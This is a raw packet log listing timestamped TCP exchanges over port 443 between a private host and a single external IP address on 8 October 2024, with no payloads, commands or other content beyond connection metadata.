Oct 8, 2024 14:12:04.289045095 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.316639900 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.316663980 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.316756964 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.316766977 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.316812992 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.317265987 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.317281008 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.317317963 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.317323923 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.317346096 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.317363977 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.318036079 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.318061113 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.318094969 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.318099022 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.318121910 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.318140984 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.318449974 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.318465948 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.318556070 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.318561077 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.318595886 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.319257975 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.319276094 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.319333076 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.319339037 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.319379091 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.319930077 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.319951057 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.319991112 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.319994926 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.320012093 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.320034027 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.330282927 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.330307961 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.330347061 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.330352068 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.330375910 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.330389977 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.376177073 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.376209974 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.376347065 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.376374006 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.376420021 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.404129982 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.404158115 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.404257059 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.404263973 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.404305935 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.404774904 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.404792070 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.404836893 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.404841900 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.404858112 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.404876947 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.405518055 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.405536890 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.405576944 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.405580997 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.405601025 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.405613899 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.406219959 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.406236887 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.406280994 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.406286001 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.406297922 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.406320095 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.406773090 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.406795025 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.406848907 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.406852961 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.406896114 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.407548904 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.407572031 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.407623053 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.407628059 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.407666922 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.417699099 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.417720079 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.417808056 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.417834997 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.417848110 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.417876959 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.463505030 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.463529110 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.463606119 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.463632107 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.463670969 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.491499901 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.491520882 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.491575956 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.491585016 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.491621017 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.492183924 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.492202997 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.492233038 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.492238045 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.492264986 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.492280006 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.492491007 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.492508888 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.492541075 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.492546082 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.492569923 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.492584944 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.493284941 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.493299007 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.493344069 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.493349075 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.493382931 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.494194984 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.494214058 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.494242907 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.494249105 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.494277000 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.494288921 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.494771004 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.494788885 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.494817019 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.494827986 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.494848967 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.494864941 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.505744934 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.505767107 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.505820990 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.505826950 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.505877972 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.551278114 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.551300049 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.551353931 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.551379919 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.551409960 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.551419020 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.579166889 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.579190016 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.579293013 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.579319000 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.579365969 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.579838037 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.579854965 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.579895973 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.579906940 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.579946041 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.580132961 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.580152035 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.580198050 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.580204964 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.580245018 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.581095934 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.581115007 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.581151962 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.581161976 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.581186056 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.581197977 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.581775904 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.581789970 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.581831932 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.581842899 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.581866980 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.581882000 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.583355904 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.583380938 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.583439112 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.583452940 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.583491087 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.637048960 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.637068987 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.637121916 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.637152910 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.637197018 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.646625042 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.646641016 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.646701097 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.646724939 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.646764040 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.666585922 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.666599035 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.666666985 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.666687965 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.666723013 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.667424917 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.667438984 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.667478085 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.667486906 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.667519093 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.668071032 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.668091059 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.668135881 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.668144941 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.668179035 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.668808937 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.668828011 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.668872118 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.668880939 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.668915033 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.669395924 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.669409037 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.669445038 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.669451952 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.669471979 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.669483900 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.670396090 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.670408964 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.670443058 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.670455933 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.670475006 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.670490026 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.724683046 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.724706888 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.724838018 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.724869013 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.724915028 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.734999895 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.735022068 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.735094070 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.735100031 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.735142946 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.754245996 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.754271030 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.754363060 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.754390955 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.754436016 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.755079985 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.755098104 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.755156040 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.755172014 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.755213022 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.755697012 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.755712986 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.755774021 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.755779982 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.755821943 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.756000042 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.756015062 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.756082058 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.756088972 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.756127119 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.758610010 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.758625031 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.758687973 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.758711100 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.758754969 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.759038925 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.759052992 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.759094954 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.759104013 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.759150028 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.812654972 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.812680960 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.812792063 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.812819958 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.812863111 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.822834015 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.822859049 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.822900057 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.822920084 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.822936058 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.822961092 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.842907906 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.842932940 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.842997074 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.843018055 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.843168020 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.843168020 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.843549967 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.843573093 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.843630075 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.843641043 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.843703985 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.843941927 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.843969107 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.843982935 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.843988895 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.844000101 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.844036102 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.844645023 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.844670057 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.844702959 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.844715118 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.844728947 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.844749928 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.845189095 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.845211029 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.845257998 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.845267057 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.845303059 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.845947027 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.845968962 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.846009970 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.846019983 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.846054077 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.900099993 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.900125027 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.900182009 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.900209904 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.900250912 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.910640001 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.910665989 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.910737991 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.910763979 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.910901070 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.929913044 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.929944038 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.930027962 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.930059910 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.930092096 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.930099964 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.930454016 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.930474997 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.930516005 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.930524111 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.930557013 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.931041956 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.931062937 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.931101084 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.931108952 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.931129932 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.931145906 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.931552887 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.931569099 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.931612015 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.931621075 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.931639910 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.931653023 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.932341099 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.932357073 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.932393074 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.932400942 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.932424068 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.932436943 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.933787107 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.933808088 CEST	443	49730	83.140.241.4	192.168.2.4
